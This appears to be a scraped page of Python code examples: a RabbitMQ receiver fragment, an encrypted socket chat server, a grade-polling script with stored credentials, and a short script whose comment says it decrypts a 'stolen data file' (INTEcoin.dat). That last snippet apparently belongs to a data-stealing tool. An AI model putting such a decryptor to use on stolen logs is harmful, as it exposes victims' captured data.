            self.dispatcher(message, Direction.InferDirection)
        except Exception as e:
            print(e)

    def _receiver_thread(self):
        print(' [*] RabbitMQ server created.')
        while 1:

            self.connected = False
            self.pooling_connect()

            while self.connected == False:
                sleep(0.5)

            try:
                self.channel.start_consuming()
            except:
                print(
                    " [x] Rabbit server disconnected. Trying to reconnect...")

    def deinit(self):
        self.connection.close()
예제 #14
0
class Server:
    def __init__(self, server_address):
        """
        :param server_address: например: ('127.0.0.1', 25000)
        """
        self.address = server_address
        self._sock = socket.socket()
        self._sock.bind(self.address)
        self._connections = {}
        self._main_client = None
        self._messages = []
        self._encryption = Encryption()
        self._running = True
        self._sock.listen(32)

        self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        thread = Thread(target=self._waiting_for_connections)
        thread.daemon = True
        thread.start()
        thread = Thread(target=self._send_to_all)
        thread.daemon = True
        thread.start()

    def _waiting_for_connections(self):
        while self._running:
            try:
                connection, address = self._sock.accept()
                if not self._main_client:
                    self._main_client = address
                self._connections.update({
                    connection:
                    json.loads(
                        self._encryption.decrypt(
                            connection.recv(1024)).decode())['userdata']
                })
                self._send_current_connections()
                self._send_system_message("new connection established with " +
                                          str(address))
                thread = Thread(target=self.receive_data,
                                args=[connection, address])
                thread.daemon = True
                thread.start()
            except socket.error as e:
                if not self._running:
                    return
                print(
                    "error: seems like you are not connected to the internet")
                print(e)

    def receive_data(self, connection, address):
        while self._running:
            try:
                data = connection.recv(1024)
            except socket.error:
                if not self._running:
                    break
                self._send_system_message("client " + str(address) +
                                          " has disconnected")
                self._connections.pop(connection)
                self._send_current_connections()
                break
            if data:
                messages = self._encryption.decrypt(data).decode().split("}{")
                if len(messages) > 1:
                    messages = [messages[0] + "}"] + [
                        "{" + i + "}" for i in messages[1:-1]
                    ] + ["{" + messages[-1]]
                for message in messages:
                    self._handle_message(message, connection)

    def _handle_message(self, message, connection):
        json_data = json.loads(message)
        if "userdata" in json_data:
            self._connections[connection] = json_data['userdata']
            self._send_current_connections()
        else:
            self._messages.append(message)

    def _send_to_all(self):
        while self._running:
            if self._messages:
                for message in self._messages[:]:
                    for connection in self._connections.keys():
                        connection.sendall(
                            self._encryption.encrypt(message.encode()))
                    self._messages.remove(message)
                    time.sleep(0.1)
            time.sleep(0.01)

    def _send_system_message(self, text):
        self._messages.append(
            json.dumps({
                "username": "******",
                "text": text,
                "color": "blue"
            }))

    def _send_current_connections(self):
        c_list = [
            c.getpeername() for c in self._connections.keys()
            if c.getpeername() != self._main_client
        ]
        self._messages.append(json.dumps({"connections_list": c_list}))
        time.sleep(0.1)
        self._messages.append(
            json.dumps({"users_data": list(self._connections.values())}))

    def stop(self):
        self._running = False
        for connection in list(self._connections.keys()):
            connection.shutdown(socket.SHUT_RDWR)
            connection.close()
        self._sock.close()
예제 #15
0
from encryption import Encryption  # relative imports are weird in python.

chunk = ""
decrypted_log = ""
for byt in Encryption.bytes_from_file(
        "INTEcoin.dat"
):  # Reads stolen data file as chunks and save them in a list
    if byt == "@":
        decrypted_log += Encryption.decrypt(chunk.encode())
        chunk = ""
        continue
    chunk += byt
print(decrypted_log)

with open("plaintext.txt", "a") as file:
    file.write(decrypted_log)
    file.close()
예제 #16
0
	if qFour != None:
		brFFS = FifthStep(bOne, qFour, rFour)
		return brFFS.getMarks()
	return None, None


theFile = open("marks.cfg", 'r')
course = theFile.readline().rstrip('\n')
username = theFile.readline().rstrip('\n')
password = theFile.readline().rstrip('\n')
print "Data loaded."
passphrase = ""
while len(passphrase) == 0:
	passphrase = easygui.passwordbox(msg='Passphrase:', title='Encryption message', default='')
dec = Encryption(password, passphrase)
password = dec.decrypt()
if len(password) == 0:
	print "Wrong passphrase ! Please try again or run 'config' again."
	oldNumberOfMarks, oldMarks = None, None
else:
	oldNumberOfMarks, oldMarks = checkOnMarks(course, username, password)
	print oldNumberOfMarks, "marks detected."
while oldMarks != None:
	time.sleep(3600)
	numberOfMarks, marks = checkOnMarks(course, username, password)
	if numberOfMarks > oldNumberOfMarks:
		print numberOfMarks - oldNumberOfMarks, "new mark(s) detected. Take a look !"
		textMsg = "Hey ! New mark(s) detected ! Take a look !"
		for oldMark, mark in zip (oldMarks, marks):
			if oldMark[1] != mark [1]:
				textMark = mark[0]+" : "+str(mark[1])